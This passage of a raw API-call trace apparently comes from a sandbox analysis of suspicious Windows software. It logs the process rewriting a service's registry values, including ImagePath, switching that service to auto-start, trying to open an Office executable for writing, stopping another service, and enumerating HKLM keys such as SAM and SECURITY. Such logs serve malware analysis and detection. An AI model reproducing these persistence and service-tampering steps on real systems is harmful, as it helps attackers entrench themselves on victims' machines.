BaseAddress=0x252d368) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.495] RegQueryValueExA (in: hKey=0x150, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0239.495] RegQueryValueExA (in: hKey=0x150, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4190, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0239.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0239.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0239.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0239.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0239.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0239.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0239.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0239.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0239.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0239.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0239.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0239.496] RegQueryValueExA (in: hKey=0x14c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0239.496] RegQueryValueExA (in: hKey=0x14c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f42b0, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0239.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0239.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0239.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0239.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0239.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0239.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0239.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0239.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0239.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0239.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0239.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0239.496] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0239.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0239.497] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0239.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.497] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0239.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0239.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0239.497] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0239.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0239.497] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0239.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.497] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0239.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0239.497] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.497] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0239.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0239.497] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0239.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0239.497] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0239.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0239.498] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0239.498] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0239.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0239.498] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0239.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0239.498] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0239.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0239.498] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0239.498] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0239.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0239.498] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.498] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.498] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", cbData=0x38 | out: lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"") returned 0x0 [0239.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0239.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f3f50, cbMultiByte=55, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0239.499] CommandLineToArgvW (in: lpCmdLine="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7df7b8*="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" [0239.499] LocalFree (hMem=0x7df7b8) returned 0x0 [0239.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0239.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0239.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE", cchWideChar=53, lpMultiByteStr=0x21f4778, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE", lpUsedDefaultChar=0x0) returned 53 [0239.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0239.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0239.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0239.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0239.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0239.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0239.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0239.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0239.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0239.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0239.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0239.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0239.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0239.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0239.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0239.499] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", cbData=0x38 | out: lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"") returned 0x0 [0239.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0239.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0239.500] OpenServiceW (hSCManager=0x803918, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x2) returned 0x8038a0 [0239.500] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0239.501] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0239.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0239.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0239.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0239.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0239.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0239.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0239.502] RegCloseKey (hKey=0x150) returned 0x0 [0239.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0239.502] RegCloseKey (hKey=0x14c) returned 0x0 [0239.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0239.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0239.502] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cb74000, ftLastWriteTime.dwHighDateTime=0x1cacbae, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0239.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.502] GetLastError () returned 0x20 [0239.502] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0239.503] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0239.503] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0239.503] OpenServiceW (hSCManager=0x803918, lpServiceName="FontCache3.0.0.0", dwDesiredAccess=0x20) returned 0x803990 [0239.503] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0239.504] GetLastError () returned 0x426 [0239.504] CloseServiceHandle (hSCObject=0x803990) returned 1 [0239.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0239.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0239.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0239.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0239.504] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0239.504] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0239.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0239.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.504] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0239.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0239.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.505] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0239.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0239.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.505] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0239.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0239.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 